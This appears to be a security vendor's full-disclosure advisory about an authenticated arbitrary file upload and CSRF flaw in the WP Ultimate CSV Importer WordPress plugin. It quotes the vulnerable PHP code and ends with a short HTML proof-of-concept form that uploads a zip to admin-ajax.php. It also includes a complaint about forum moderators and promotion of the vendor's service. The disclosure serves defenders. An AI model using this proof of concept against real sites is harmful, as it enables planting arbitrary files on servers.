02 Mar

Hackers May Already Be Targeting This Authenticated Arbitrary File Upload Vulnerability in WP Ultimate CSV Importer

As part of monitoring we do to make sure we are providing customers of our service with the best possible data on vulnerabilities in WordPress plugins they may be using we monitor for what look to be hackers probing for usage of plugins to make sure we quickly can warn our customers of unfixed vulnerabilities that hackers are likely targeting. There was probing on our website yesterday for the plugin WP Ultimate CSV Importer by requesting these files:

  • /wp-content/plugins/wp-ultimate-csv-importer/assets/css/deps/csv-importer-free.css
  • /wp-content/plugins/wp-ultimate-csv-importer/wp-ultimate-csv-importer.md

Like the previous plugins we discussed last week that appear to be targeted by this campaign, the plugin is very insecure. The most serious vulnerability we noticed in that would probably be an authenticated arbitrary file upload vulnerability.

The issue starts with the plugin registering the function zipImageUpload() to be accessible through WordPress’ AJAX functionality to those logged in to WordPress:

24
add_action('wp_ajax_zip_upload' , array($this , 'zipImageUpload'));

That function, which is located in the file /MediaHandling.php, extract the files included in a zip sent with the request to the current months media directory:

63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
public function zipImageUpload(){
	$zip_file_name = $_FILES['zipFile']['name'];
	$hash_key = MediaHandling::$smack_instance->convert_string2hash_key($zip_file_name);
	$media_dir = wp_get_upload_dir();
	$upload_dir = MediaHandling::$smack_instance->create_upload_dir();
	$path = $upload_dir . $hash_key . '.zip';	
	$extract_path = $media_dir['path'] . '/';
	chmod($path, 0777);
	move_uploaded_file($_FILES['zipFile']['tmp_name'], $path);
	$zip = new \ZipArchive;
	$res = $zip->open($path);
	if ($res === TRUE) {
		for ($i = 0; $i < $zip->numFiles; $i++) {
			$filename[$i] = $zip->getNameIndex($i);     		
		}
		$zip->extractTo($extract_path);

The code lacks a capabilities check to limit access to creating a form to the users intended to be able to do it, a nonce check to prevent cross-site request forgery (CSRF), and any restriction the files being saved.

Due to the lack of a nonce check this could also be exploited through CSRF.

WordPress Causes Full Disclosure

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will upload the contents of a zip file sent with the request to the current month’s media directory in the /wp-content/uploads/ directory, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=zip_upload" enctype="multipart/form-data" method="POST">
<input type="file" name="zipFile" />
<input type="submit"  value="Submit" />
</form>
</body>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service you can suggest/vote for the plugins you use to receive a security review from us. You can start using the service for free when you sign up now.